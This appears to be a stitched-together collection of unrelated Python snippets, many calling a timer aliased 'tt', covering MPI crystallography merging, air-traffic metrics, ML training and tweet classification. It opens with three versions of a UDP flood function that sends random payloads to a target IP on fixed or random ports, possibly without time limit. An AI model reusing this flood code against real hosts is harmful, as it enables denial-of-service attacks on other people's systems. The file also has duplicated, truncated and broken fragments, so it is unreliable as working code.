def attack(ip, port, time, size):
if time is None:
time = float('inf')
if port is not None:
port = max(1, min(65535, port))
fmr = ''
fmt = ''.format(
ip=ip,
port='PORT {port}'.format(port=port) if port else 'RANDOM PORTS',
time='{time} SECONDS'.format(
time=time) if str(time).isdigit() else 'UNLIMITED TIME',
size=size)
print(fmt)
startup = tt()
size = os.urandom(min(65500, size))
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while True:
port = port or random.randint(1, 65535)
endtime = tt()
if (startup + time) < endtime:
break
sock.sendto(size, (ip, port))
print(' ATTACK FINISHED')
def attack(ip, port, time, size):
if time is None:
time = float('inf')
if port is not None:
port = max(1, min(65535, port))
fmt = 'Attacking {ip} on {port} for {time} with a size of {size} bytes.'.format(
ip=ip,
port='port {port}'.format(port=port) if port else 'random ports',
time='{time} seconds'.format(
time=time) if str(time).isdigit() else 'unlimited time',
size=size)
print(fmt)
startup = tt()
size = os.urandom(min(65500, size))
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while True:
port = port or random.randint(1, 65535)
endtime = tt()
if (startup + time) < endtime:
break
sock.sendto(size, (ip, port))
print('Attack finished.')
def attack(argss):
timeout = tt() + argss.time
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while True:
if tt() > timeout:
sys.exit('Exiting...')
bytess = random._urandom(2048)
sock.sendto(bytess, (argss.target, argss.port))
print "bytes sended"
def setup():
global controller, update_time, timmer, qframe, qtimmer, is_started, FPS
print "SETUP------------------------"
FPS = 30
controller = None
update_time = 1.0 / FPS
timmer = tt()
qframe = 0
qtimmer = tt()
is_started = True
def applymetric(self, traf, sim):
time1 = tt()
sim.pause()
self.doubleconflict = 0
##relative pos x and pos y
self.step = self.step + 1
self.pos = np.array([])
self.lat = np.array([])
self.lon = np.array([])
self.id = []
self.alt_dif = 0
traf_selected_lat, traf_selected_lon, traf_selected_alt, traf_selected_tas, traf_selected_trk, traf_selected_ntraf = self.selectTraffic(
traf)
[self.rel_trk, self.pos] = qdrdist_vector(self.initiallat,
self.initiallon,
np.mat(traf_selected_lat),
np.mat(traf_selected_lon))
# self.lat = np.append(self.lat,traf.lat)
# self.lon = np.append(self.lon,traf.lon)
self.id = traf.id
#Position x and y wrt to initial position
self.pos = np.mat(self.pos)
#TRUE???
anglex = np.cos(np.radians(90 - self.rel_trk))
angley = np.sin(np.radians(90 - self.rel_trk))
self.posx = np.mat(np.array(self.pos) * np.array(anglex)) #nm
self.posy = np.mat(np.array(self.pos) * np.array(angley)) #nm
self.lat = traf_selected_lat
self.lon = traf_selected_lon
self.alt = np.mat(traf_selected_alt / ft)
self.spd = traf_selected_tas / nm #nm/s
self.trk = traf_selected_trk
self.ntraf = traf_selected_ntraf
self.alt_dif = self.alt - self.alt.T
#Vectors CPA_dist and CPA_time
#self.rel_vectors()
#self.apply_heading_range()
self.apply_twoCircleMethod()
#self.saveData()
time2 = tt()
print "Time to Complete Calculation: "
print(time2 - time1)
sim.play()
return
def applymetric(self,traf,sim):
time1 = tt()
sim.pause()
self.doubleconflict = 0
##relative pos x and pos y
self.step = self.step + 1
self.pos = np.array([])
self.lat = np.array([])
self.lon = np.array([])
self.id = []
self.alt_dif = 0
traf_selected_lat,traf_selected_lon,traf_selected_alt,traf_selected_tas,traf_selected_trk,traf_selected_ntraf = self.selectTraffic(traf)
[self.rel_trk, self.pos] = qdrdist_vector(self.initiallat,self.initiallon,np.mat(traf_selected_lat),np.mat(traf_selected_lon))
# self.lat = np.append(self.lat,traf.lat)
# self.lon = np.append(self.lon,traf.lon)
self.id = traf.id
#Position x and y wrt to initial position
self.pos = np.mat(self.pos)
#TRUE???
anglex = np.cos(np.radians(90-self.rel_trk))
angley = np.sin(np.radians(90-self.rel_trk))
self.posx = np.mat(np.array(self.pos) * np.array(anglex)) #nm
self.posy = np.mat(np.array(self.pos) * np.array(angley)) #nm
self.lat = traf_selected_lat
self.lon = traf_selected_lon
self.alt = np.mat(traf_selected_alt/ft)
self.spd = traf_selected_tas/nm #nm/s
self.trk = traf_selected_trk
self.ntraf = traf_selected_ntraf
self.alt_dif = self.alt-self.alt.T
#Vectors CPA_dist and CPA_time
#self.rel_vectors()
#self.apply_heading_range()
self.apply_twoCircleMethod()
#self.saveData()
time2 = tt()
print "Time to Complete Calculation: "
print (time2-time1)
sim.play()
return
def start_task(self, task = ''):
""" When called, it initialise a new task, by storing the time at which
it started and the description.
Args:
task = task description.
"""
self.t0 = tt()
self.task = task
print(f"Starting to work on: '{self.task}'")
def iterate_instances(self, item, rank, tt):
count = 0
n_insert_frame = self.master_db_mgr.insert_frame
for call_instance in item.finished_db_mgr.sequencer:
print "INSTANCE=%d START RANK=%d TIME=%f" % (count, rank, tt())
if call_instance["call"] == "insert_frame":
print "insert_frame=%d START RANK=%d TIME=%f" % (count, rank,
tt())
frame_id_zero_base = n_insert_frame(**call_instance["data"])
print "insert_frame=%d STOP RANK=%d TIME=%f" % (count, rank,
tt())
elif call_instance["call"] == "insert_observation":
print "insert_observation=%d START RANK=%d TIME=%f" % (
count, rank, tt())
call_instance["data"]['frame_id_0_base'] = [
frame_id_zero_base
] * len(call_instance["data"]['frame_id_0_base'])
self.master_db_mgr.insert_observation(**call_instance["data"])
print "insert_observation=%d STOP RANK=%d TIME=%f" % (
count, rank, tt())
count += 1
def main(args):
with open(args.config) as f:
config = yaml.load(f, Loader=yaml.FullLoader)
# Dataset processing
pt_cut = config["selection"]["pt_min"]
train_number = config["selection"]["train_number"]
test_number = config["selection"]["test_number"]
load_dir = config["input_dir"]
# Construct experiment name
group = str(pt_cut) + "_pt_cut"
if config["selection"]["endcaps"]:
group += "_endcaps"
print("Running experiment group", group, "on device", device)
train_path = os.path.join(load_dir, group,
str(train_number) + "_events_train")
test_path = os.path.join(load_dir, group,
str(test_number) + "_events_test")
train_dataset = torch.load(train_path)
test_dataset = torch.load(test_path)
train_loader = DataLoader(train_dataset, batch_size=1, shuffle=True)
test_loader = DataLoader(test_dataset, batch_size=1, shuffle=True)
# Model config
m_configs = config["model"]
model = Embedding(**m_configs).to(device)
# multi_loss = MultiNoiseLoss(n_losses=2).to(device)
m_configs.update(config["training"])
m_configs.update(config["selection"])
wandb.init(project=config["project"], group=group, config=m_configs)
wandb.run.save()
print(wandb.run.name)
model_name = wandb.run.name
wandb.watch(model, log="all")
# Optimizer & Scheduler config
optimizer = torch.optim.AdamW(
model.parameters(),
lr=m_configs["lr"],
weight_decay=m_configs["weight_decay"],
amsgrad=True,
)
scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(
optimizer, factor=m_configs["factor"], patience=m_configs["patience"])
print("Training on configs:", m_configs)
# Training loop
for epoch in range(m_configs["epochs"]):
tic = tt()
model.train()
train_loss = train_connected_emb(model, train_loader, optimizer,
m_configs)
print("Training loss: {:.4f}".format(train_loss))
model.eval()
with torch.no_grad():
cluster_pur, cluster_eff, val_loss = evaluate_connected_emb(
model, test_loader, m_configs)
wandb.log({
"val_loss": val_loss,
"train_loss": train_loss,
"cluster_pur": cluster_pur,
"cluster_eff": cluster_eff,
"lr": optimizer.param_groups[0]["lr"],
})
scheduler.step(val_loss)
save_model_from_script(
epoch,
model,
optimizer,
scheduler,
val_loss,
m_configs,
"Embedding/" + model_name + ".tar",
)
print(
"Epoch: {}, Eff: {:.4f}, Pur: {:.4f}, Loss: {:.4f}, LR: {} in time {}"
.format(
epoch,
cluster_eff,
cluster_pur,
val_loss,
optimizer.param_groups[0]["lr"],
tt() - tic,
))
n_reflections=n_refl,
overall_correlation=corr)
easy_pickle.dump("%s.pkl" % work_params.output.prefix, result)
return result
if (__name__ == "__main__"):
from mpi4py import MPI
comm = MPI.COMM_WORLD
rank = comm.Get_rank()
size = comm.Get_size()
from time import time as tt
# set things up
if rank == 0:
print "SETUP START RANK=%d TIME=%f" % (rank, tt())
run = run_manager()
run.initialize(args=sys.argv[1:])
scaler_master = scaling_manager_mpi(miller_set=run.miller_set,
i_model=run.i_model,
params=run.work_params,
log=run.out)
scaler_master.mpi_initialize(run.frame_files)
transmitted_info = dict(file_names=run.frame_files,
miller_set=run.miller_set,
model=run.i_model,
params=run.work_params)
print "SETUP END RANK=%d TIME=%f" % (rank, tt())
else:
print "SETUP START RANK=%d TIME=%f" % (rank, tt())
if label != 0.0:
raw_tweets.append(row[1])
labels.append(1 if label > 0.0 else -1)
# ======================
# collect the tweets
print 'Collecting the tweets...'
raw_tweets = []
labels = []
collect_tweets('hillary', raw_tweets, labels)
collect_tweets('trump', raw_tweets, labels)
# clean the tweets
t = tt()
print 'Cleaning the tweets...'
cleaned_tweets = batch_get_legit_tokens(raw_tweets)
# extract features
print 'Extracting the features...'
create_features(get_all_words(cleaned_tweets))
assert len(cleaned_tweets) == len(labels)
print 'Constructing training set...'
training_set = nltk.classify.apply_features(extract_features,zip(cleaned_tweets,labels))
# train model
n_reflections=n_refl,
overall_correlation=corr)
easy_pickle.dump("%s.pkl" % work_params.output.prefix, result)
return result
if (__name__ == "__main__"):
from mpi4py import MPI
comm = MPI.COMM_WORLD
rank = comm.Get_rank()
size = comm.Get_size()
from time import time as tt
# set things up
if rank == 0:
print "SETUP START RANK=%d TIME=%f" % (rank, tt())
run = run_manager()
run.initialize(args=sys.argv[1:])
scaler_master = scaling_manager_mpi(miller_set=run.miller_set,
i_model=run.i_model,
params=run.work_params,
log=run.out)
scaler_master.mpi_initialize(run.frame_files)
transmitted_info = dict(file_names=run.frame_files,
miller_set=run.miller_set,
model=run.i_model,
params=run.work_params)
print "SETUP END RANK=%d TIME=%f" % (rank, tt())
else:
print "SETUP START RANK=%d TIME=%f" % (rank, tt())
def predict_probabilities(features,
classifier_path,
behaviors=[],
VERBOSE=True):
''' This predicts behavior labels on a video, given a classifier and features.'''
if not behaviors:
behaviors = ['closeinvestigation', 'mount', 'attack']
# scaler = joblib.load(classifier_path + '/scaler')
# # Scale the data appropriately.
# print("transforming features")
# X_test = scaler.transform(features)
models = [
os.path.join(classifier_path, filename)
for filename in os.listdir(classifier_path)
]
behaviors_used = []
preds_fbs_hmm = []
proba_fbs_hmm = []
for b, behavior in enumerate(behaviors):
# For each behavior, load the model, load in the data (if needed), and predict on it.
print('############################## %s #########################' %
behavior)
# Get all the models that model the given behavior.
models_with_this_behavior = filter(
lambda x: x.find('classifier_' + behavior + '.pkl') > -1, models)
# pdb.set_trace()
# If there are models for this behavior, load the most recently trained one.
if models_with_this_behavior:
# create a dict that contains list of files and their modification timestamps
name_n_timestamp = dict([(x, os.stat(x).st_mtime)
for x in models_with_this_behavior])
# return the file with the latest timestamp
name_classifier = max(name_n_timestamp,
key=lambda k: name_n_timestamp.get(k))
classifier = joblib.load(name_classifier)
scaler = classifier['scaler']
bag_clf = classifier['bag_clf'] if 'bag_clf' in classifier.keys(
) else classifier['clf']
hmm_fbs = classifier['hmm_fbs']
kn = classifier['params']['smk_kn']
blur_steps = classifier['params']['blur']
shift = classifier['params']['shift']
# Keep track of which behaviors get used.
behaviors_used += [behavior]
else:
print(
'Classifier not found, you need to train a classifier for this behavior before using it'
)
print(
'Classification will continue without classifying this behavior'
)
continue
# apply the scaler.
if VERBOSE:
tstart = tt()
print("Transforming features...")
X_test = scaler.transform(features)
# Do the actual prediction.
if VERBOSE:
print("Predicting...")
predicted_probabilities = bag_clf.predict_proba(X_test)
predicted_class = np.argmax(predicted_probabilities, axis=1)
# if VERBOSE:
# secs_elapsed = (tt() - tstart)
# print("Classifier prediction took %.2f secs" % secs_elapsed)
#
# print("Doing Forward-Backward Smoothing...")
# tstart = tt()
# Do our forward-backward smoothing
y_pred_fbs = do_fbs(y_pred_class=predicted_class,
kn=kn,
blur=4,
blur_steps=blur_steps,
shift=shift)
# TODO: Blur is unused argument --just get rid of it?
# Do the hmm prediction.
y_proba_fbs_hmm = hmm_fbs.predict_proba(y_pred_fbs.reshape((-1, 1)))
y_pred_fbs_hmm = np.argmax(y_proba_fbs_hmm, axis=1)
# Add our predictions to the list.
preds_fbs_hmm.append(y_pred_fbs_hmm)
proba_fbs_hmm.append(y_proba_fbs_hmm)
if VERBOSE:
secs_elapsed = (tt() - tstart)
print("Classifier prediction took %.2f secs" % secs_elapsed)
# Change the list of [1x(numFrames)]-predictions to an np.array by stacking them vertically.
preds_fbs_hmm = np.vstack(preds_fbs_hmm)
# Flip it over so that it's stored as a [(numFrames)x(numBehaviors)] array
all_predictions = preds_fbs_hmm.T
# Change [(behavior)x(frames)x(positive/neg)] => [(frames) x (behaviors) x (pos/neg)]
all_predicted_probabilities = np.array(proba_fbs_hmm).transpose(1, 0, 2)
# pdb.set_trace()
return all_predicted_probabilities, behaviors_used
def run(self, comm, timing=False):
rank = comm.Get_rank()
size = comm.Get_size()
from time import time as tt
# set things up
if rank == 0:
if timing: print("SETUP START RANK=%d TIME=%f" % (rank, tt()))
self.initialize()
self.validate()
self.read_models()
scaler_master = self.scaler_class(miller_set=self.miller_set,
i_model=self.i_model,
params=self.params,
log=self.out)
scaler_master.mpi_initialize(self.frame_files)
transmitted_info = dict(file_names=self.frame_files,
miller_set=self.miller_set,
model=self.i_model,
params=self.params)
if timing: print("SETUP END RANK=%d TIME=%f" % (rank, tt()))
else:
if timing: print("SETUP START RANK=%d TIME=%f" % (rank, tt()))
transmitted_info = None
if timing: print("SETUP END RANK=%d TIME=%f" % (rank, tt()))
if timing: print("BROADCAST START RANK=%d TIME=%f" % (rank, tt()))
transmitted_info = comm.bcast(transmitted_info, root=0)
if timing: print("BROADCAST END RANK=%d TIME=%f" % (rank, tt()))
# now actually do the work
if timing:
print("SCALER_WORKER_SETUP START RANK=%d TIME=%f" % (rank, tt()))
scaler_worker = self.scaler_class(transmitted_info["miller_set"],
transmitted_info["model"],
transmitted_info["params"],
log=sys.stdout)
if timing:
print("SCALER_WORKER_SETUP END RANK=%d TIME=%f" % (rank, tt()))
assert scaler_worker.params.backend == 'FS' # only option that makes sense
from xfel.merging.database.merging_database_fs import manager2 as manager
db_mgr = manager(scaler_worker.params)
file_names = [
transmitted_info["file_names"][i]
for i in range(len(transmitted_info["file_names"]))
if i % size == rank
]
if timing: print("SCALER_WORKERS START RANK=%d TIME=%f" % (rank, tt()))
scaler_worker._scale_all_serial(file_names, db_mgr)
if timing: print("SCALER_WORKERS END RANK=%d TIME=%f" % (rank, tt()))
scaler_worker.finished_db_mgr = db_mgr
# might want to clean up a bit before returning
del scaler_worker.log
del scaler_worker.params
del scaler_worker.miller_set
del scaler_worker.i_model
del scaler_worker.reverse_lookup
# gather reports and all add together
if timing: print("GATHER START RANK=%d TIME=%f" % (rank, tt()))
reports = comm.gather(scaler_worker, root=0)
if timing: print("GATHER END RANK=%d TIME=%f" % (rank, tt()))
if rank == 0:
print("Processing reports from %d ranks" % (len(reports)))
ireport = 0
for item in reports:
if timing:
print("SCALER_MASTER_ADD START RANK=%d TIME=%f" %
(rank, tt()))
scaler_master._add_all_frames(item)
if timing:
print("SCALER_MASTER_ADD END RANK=%d TIME=%f" %
(rank, tt()))
print("processing %d calls from report %d" %
(len(item.finished_db_mgr.sequencer), ireport))
ireport += 1
for call_instance in item.finished_db_mgr.sequencer:
if call_instance["call"] == "insert_frame":
if timing:
print(
"SCALER_MASTER_INSERT_FRAME START RANK=%d TIME=%f"
% (rank, tt()))
frame_id_zero_base = scaler_master.master_db_mgr.insert_frame(
**call_instance["data"])
if timing:
print(
"SCALER_MASTER_INSERT_FRAME END RANK=%d TIME=%f"
% (rank, tt()))
elif call_instance["call"] == "insert_observation":
if timing:
print(
"SCALER_MASTER_INSERT_OBS START RANK=%d TIME=%f"
% (rank, tt()))
call_instance["data"]['frame_id_0_base'] = [
frame_id_zero_base
] * len(call_instance["data"]['frame_id_0_base'])
scaler_master.master_db_mgr.insert_observation(
**call_instance["data"])
if timing:
print(
"SCALER_MASTER_INSERT_OBS END RANK=%d TIME=%f"
% (rank, tt()))
if timing:
print("SCALER_MASTER_FINALISE START RANK=%d TIME=%f" %
(rank, tt()))
scaler_master.master_db_mgr.join(
) # database written, finalize the manager
scaler_master.mpi_finalize()
if timing:
print("SCALER_MASTER_FINALISE END RANK=%d TIME=%f" %
(rank, tt()))
return self.finalize(scaler_master)
def run(self, comm, timing=False):
rank = comm.Get_rank()
size = comm.Get_size()
from time import time as tt
# set things up
if rank == 0:
self.initialize()
self.validate(comm)
self.read_models()
timing = self.params.mpi.logging
if timing: print "~SETUP START RANK=%d TIME=%f;" % (rank, tt())
scaler_master = self.scaler_class(miller_set=self.miller_set,
i_model=self.i_model,
params=self.params,
log=self.out)
scaler_master.mpi_initialize(self.frame_files)
transmitted_info = dict(file_names=self.frame_files,
miller_set=self.miller_set,
model=self.i_model,
params=self.params)
if timing: print "~SETUP END RANK=%d TIME=%f;" % (rank, tt())
else:
if timing: print "~SETUP START RANK=%d TIME=%f;" % (rank, tt())
transmitted_info = None
if timing: print "~SETUP END RANK=%d TIME=%f;" % (rank, tt())
if timing: print "~BROADCAST START RANK=%d TIME=%f;" % (rank, tt())
transmitted_info = comm.bcast(transmitted_info, root=0)
if timing: print "~BROADCAST END RANK=%d TIME=%f;" % (rank, tt())
# now actually do the work
if timing:
print "~SCALER_WORKER_SETUP START RANK=%d TIME=%f;" % (rank, tt())
scaler_worker = self.scaler_class(transmitted_info["miller_set"],
transmitted_info["model"],
transmitted_info["params"],
log=sys.stdout)
if timing:
print "~SCALER_WORKER_SETUP END RANK=%d TIME=%f;" % (rank, tt())
assert scaler_worker.params.backend == 'FS' # only option that makes sense
from xfel.merging.database.merging_database_fs import manager2 as manager
db_mgr = manager(scaler_worker.params)
# Use client-server distribution of work to the available MPI ranks.
# Each free rank requests a TAR ID and proceeds to process it.
if scaler_worker.params.mpi.cs == True:
tar_file_names = transmitted_info["file_names"]
if timing:
print "~SCALER_WORKERS START RANK=%d TIME=%f;" % (rank, tt())
if rank == 0:
for ix in range(len(tar_file_names)):
rankreq = comm.recv(source=MPI.ANY_SOURCE)
comm.send(ix, dest=rankreq)
for rankreq in range(size - 1):
rankreq = comm.recv(source=MPI.ANY_SOURCE)
comm.send('endrun', dest=rankreq)
scaler_worker.finished_db_mgr = db_mgr
else:
while True:
comm.send(rank, dest=0)
idx = comm.recv(source=0)
if idx == 'endrun':
scaler_worker.finished_db_mgr = db_mgr
break
if timing:
print "~SCALER_WORKER START=%d RANK=%d TIME=%f;" % (
idx, rank, tt())
scaler_worker._scale_all_serial([
tar_file_names[idx],
], db_mgr)
if timing:
print "~SCALER_WORKER END=%d RANK=%d TIME=%f;" % (
idx, rank, tt())
if timing:
print "~SCALER_WORKERS END RANK=%d TIME=%f;" % (rank, tt())
# Distribute chunks of TAR files to each MPI rank.
# The files are equidistributed across all the available ranks.
else:
file_names = [
transmitted_info["file_names"][i]
for i in range(len(transmitted_info["file_names"]))
if i % size == rank
]
if timing:
print "SCALER_WORKERS START RANK=%d TIME=%f" % (rank, tt())
scaler_worker._scale_all_serial(file_names, db_mgr)
if timing:
print "SCALER_WORKERS END RANK=%d TIME=%f" % (rank, tt())
scaler_worker.finished_db_mgr = db_mgr
# might want to clean up a bit before returning
del scaler_worker.log
del scaler_worker.params
del scaler_worker.miller_set
del scaler_worker.i_model
del scaler_worker.reverse_lookup
# gather reports and all add together
if timing: print "~GATHER START RANK=%d TIME=%f;" % (rank, tt())
reports = comm.gather(scaler_worker, root=0)
if timing: print "~GATHER END RANK=%d TIME=%f;" % (rank, tt())
if rank == 0:
print "Processing reports from %d ranks" % (len(reports))
ireport = 0
for item in reports:
if timing:
print "~SCALER_MASTER_ADD START RANK=%d TIME=%f;" % (rank,
tt())
scaler_master._add_all_frames(item)
if timing:
print "~SCALER_MASTER_ADD END RANK=%d TIME=%f;" % (rank,
tt())
print "processing %d calls from report %d" % (len(
item.finished_db_mgr.sequencer), ireport)
ireport += 1
for call_instance in item.finished_db_mgr.sequencer:
if call_instance["call"] == "insert_frame":
if timing:
print "~SCALER_MASTER_INSERT_FRAME START RANK=%d TIME=%f;" % (
rank, tt())
frame_id_zero_base = scaler_master.master_db_mgr.insert_frame(
**call_instance["data"])
if timing:
print "~SCALER_MASTER_INSERT_FRAME END RANK=%d TIME=%f;" % (
rank, tt())
elif call_instance["call"] == "insert_observation":
if timing:
print "~SCALER_MASTER_INSERT_OBS START RANK=%d TIME=%f;" % (
rank, tt())
call_instance["data"]['frame_id_0_base'] = [
frame_id_zero_base
] * len(call_instance["data"]['frame_id_0_base'])
scaler_master.master_db_mgr.insert_observation(
**call_instance["data"])
if timing:
print "~SCALER_MASTER_INSERT_OBS END RANK=%d TIME=%f;" % (
rank, tt())
if timing:
print "~SCALER_MASTER_FINALISE START RANK=%d TIME=%f;" % (rank,
tt())
scaler_master.master_db_mgr.join(
) # database written, finalize the manager
scaler_master.mpi_finalize()
if timing:
print "~SCALER_MASTER_FINALISE END RANK=%d TIME=%f;" % (rank,
tt())
return self.finalize(scaler_master)
def mpi_merge_op(data0, data1, datatype):
data0.n_accepted += data1.n_accepted
data0.n_file_error += data1.n_file_error
data0.n_low_corr += data1.n_low_corr
data0.n_low_signal += data1.n_low_signal
data0.n_processed += data1.n_processed
data0.n_wrong_bravais += data1.n_wrong_bravais
data0.n_wrong_cell += data1.n_wrong_cell
data0.completeness += data1.completeness
data0.completeness_predictions += data1.completeness_predictions
data0.summed_N += data1.summed_N
data0.summed_weight += data1.summed_weight
data0.summed_wt_I += data1.summed_wt_I
print "CORR_EXTEND START RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
data0.corr_values.extend(data1.corr_values)
print "CORR_EXTEND END RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
print "DMIN_EXTEND START RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
data0.d_min_values.extend(data1.d_min_values)
print "DMIN_EXTEND END RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
print "REJFRAC_EXTEND START RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
data0.rejected_fractions.extend(data1.rejected_fractions)
print "REJFRAC_EXTEND END RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
print "WAVELENGTH_EXTEND START RANK=%d:%d TIME=%f;" % (
data0.myRank, data1.myRank, tt())
data0.wavelength.extend(data1.wavelength)
print "WAVELENGTH_EXTEND END RANK=%d:%d TIME=%f;" % (
data0.myRank, data1.myRank, tt())
print "UCVAL_ADDCELLS START RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
data0.uc_values.add_cells(data1.uc_values)
print "UCVAL_ADDCELLS END RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
print "DICT_MERGE START RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
data0.failure_modes = {
k: data0.failure_modes.get(k, 0) + data1.failure_modes.get(k, 0)
for k in set(data0.failure_modes.keys())
| set(data1.failure_modes.keys())
}
print "DICT_MERGE END RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
print "ISIGI_CID START RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
next_crystal_id = len(data0.crystal_table)
data1.ISIGI['crystal_id'] += next_crystal_id
print "ISIGI_CID END RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
print "ISIGI_EXTEND START RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
data0.ISIGI.extend(data1.ISIGI)
print "ISIGI_EXTEND END RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
print "CTABLE_EXTEND START RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
data0.crystal_table.extend(data1.crystal_table)
print "CTABLE_EXTEND END RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
print "SEQ_ADD START RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
data0.finished_db_mgr.sequencer += data1.finished_db_mgr.sequencer
print "SEQ_ADD END RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank,
tt())
if not data0.params.short_circuit:
print "OBS_EXTEND START RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
data0.observations.extend(data1.observations)
print "OBS_EXTEND END RANK=%d:%d TIME=%f;" % (data0.myRank,
data1.myRank, tt())
return data0
def run(self, comm, timing=True):
from mpi4py import MPI
rank = comm.Get_rank()
size = comm.Get_size()
merge_op = MPI.Op.Create(self.mpi_merge_op, commute=True)
# set things up
if rank == 0:
if timing: print "SETUP START RANK=%d TIME=%f" % (rank, tt())
self.initialize()
self.validate()
self.read_models()
scaler_master = self.scaler_class(miller_set=self.miller_set,
i_model=self.i_model,
params=self.params,
log=self.out)
scaler_master.mpi_initialize(self.frame_files)
transmitted_info = dict(file_names=self.frame_files,
miller_set=self.miller_set,
model=self.i_model,
params=self.params)
if timing: print "SETUP END RANK=%d TIME=%f" % (rank, tt())
else:
if timing: print "SETUP START RANK=%d TIME=%f" % (rank, tt())
transmitted_info = None
if timing: print "SETUP END RANK=%d TIME=%f" % (rank, tt())
if timing: print "BROADCAST START RANK=%d TIME=%f" % (rank, tt())
transmitted_info = comm.bcast(transmitted_info, root=0)
if timing: print "BROADCAST END RANK=%d TIME=%f" % (rank, tt())
# now actually do the work
if timing:
print "SCALER_WORKER_SETUP START RANK=%d TIME=%f" % (rank, tt())
scaler_worker = self.scaler_class(transmitted_info["miller_set"],
transmitted_info["model"],
transmitted_info["params"],
log=sys.stdout)
if timing:
print "SCALER_WORKER_SETUP END RANK=%d TIME=%f" % (rank, tt())
assert scaler_worker.params.backend == 'FS' # only option that makes sense
from xfel.merging.database.merging_database_fs import manager2 as manager
db_mgr = manager(scaler_worker.params)
tar_file_names = transmitted_info["file_names"]
if timing: print "SCALER_WORKERS START RANK=%d TIME=%f" % (rank, tt())
if rank == 0:
for ix in range(len(tar_file_names)):
if timing:
print "SCALER_WORKER_RECV START=%d RANK=%d TIME=%f" % (
ix, rank, tt())
rankreq = comm.recv(source=MPI.ANY_SOURCE)
if timing:
print "SCALER_WORKER_RECV START=%d RANK=%d TIME=%f" % (
ix, rank, tt())
if timing:
print "SCALER_WORKER_SEND START=%d RANK=%d,%d TIME=%f" % (
ix, rank, rankreq, tt())
comm.send(ix, dest=rankreq)
if timing:
print "SCALER_WORKER_SEND END=%d RANK=%d,%d TIME=%f" % (
ix, rank, rankreq, tt())
for rankreq in range(size - 1):
if timing:
print "SCALER_WORKER_RECV_KILL START RANK=%d TIME=%f" % (
rank, tt())
rankreq = comm.recv(source=MPI.ANY_SOURCE)
if timing:
print "SCALER_WORKER_RECV_KILL END RANK=%d TIME=%f" % (
rank, tt())
if timing:
print "SCALER_WORKER_SEND_KILL START RANK=%d,%d TIME=%f" % (
rank, rankreq, tt())
comm.send('endrun', dest=rankreq)
if timing:
print "SCALER_WORKER_SEND_KILL END RANK=%d,%d TIME=%f" % (
rank, rankreq, tt())
scaler_worker.finished_db_mgr = db_mgr
else:
while True:
if timing:
print "SCALER_WORKER_RANKSEND START RANK=%d TIME=%f" % (
rank, tt())
comm.send(rank, dest=0)
if timing:
print "SCALER_WORKER_RANKSEND END RANK=%d TIME=%f" % (rank,
tt())
if timing:
print "SCALER_WORKER_IDXRECV START RANK=%d TIME=%f" % (
rank, tt())
idx = comm.recv(source=0)
if timing:
print "SCALER_WORKER_IDXRECV END RANK=%d TIME=%f" % (rank,
tt())
if idx == 'endrun':
scaler_worker.finished_db_mgr = db_mgr
break
if timing:
print "SCALER_WORKER START=%s RANK=%d TIME=%f" % (str(
tar_file_names[idx]), rank, tt())
scaler_worker._scale_all_serial([
tar_file_names[idx],
], db_mgr)
if timing:
print "SCALER_WORKER END=%s RANK=%d TIME=%f" % (str(
tar_file_names[idx]), rank, tt())
if timing: print "SCALER_WORKERS END RANK=%d TIME=%f" % (rank, tt())
# might want to clean up a bit before returning
del scaler_worker.log
#del scaler_worker.params
del scaler_worker.miller_set
del scaler_worker.i_model
del scaler_worker.reverse_lookup
scaler_worker.myRank = rank
if timing:
print "SCALER_WORKERS_REDUCE START RANK=%d TIME=%f" % (rank, tt())
scaler_workers = comm.reduce(scaler_worker, op=merge_op, root=0)
if timing:
print "SCALER_WORKERS_REDUCE END RANK=%d TIME=%f" % (rank, tt())
MPI.Finalize()
if rank == 0:
if timing:
print "SCALER_MASTER_ADD START RANK=%d TIME=%f" % (rank, tt())
scaler_master._add_all_frames(scaler_workers)
if timing:
print "SCALER_MASTER_ADD END RANK=%d TIME=%f" % (rank, tt())
for call_instance in scaler_workers.finished_db_mgr.sequencer:
if call_instance["call"] == "insert_frame":
if timing:
print "SCALER_MASTER_INSERT_FRAME START RANK=%d TIME=%f" % (
rank, tt())
frame_id_zero_base = scaler_master.master_db_mgr.insert_frame(
**call_instance["data"])
if timing:
print "SCALER_MASTER_INSERT_FRAME END RANK=%d TIME=%f" % (
rank, tt())
elif call_instance["call"] == "insert_observation":
if timing:
print "SCALER_MASTER_INSERT_OBS START RANK=%d TIME=%f" % (
rank, tt())
call_instance["data"]['frame_id_0_base'] = [
frame_id_zero_base
] * len(call_instance["data"]['frame_id_0_base'])
scaler_master.master_db_mgr.insert_observation(
**call_instance["data"])
if timing:
print "SCALER_MASTER_INSERT_OBS END RANK=%d TIME=%f" % (
rank, tt())
if timing:
print "SCALER_MASTER_FINALISE START RANK=%d TIME=%f" % (rank,
tt())
scaler_master.master_db_mgr.join(
) # database written, finalize the manager
scaler_master.mpi_finalize()
if timing:
print "SCALER_MASTER_FINALISE END RANK=%d TIME=%f" % (rank,
tt())
return self.finalize(scaler_master)
def wrap(*args):
pas = '******' + sha('lenovo').hexdigest() + str(tt())[:6]
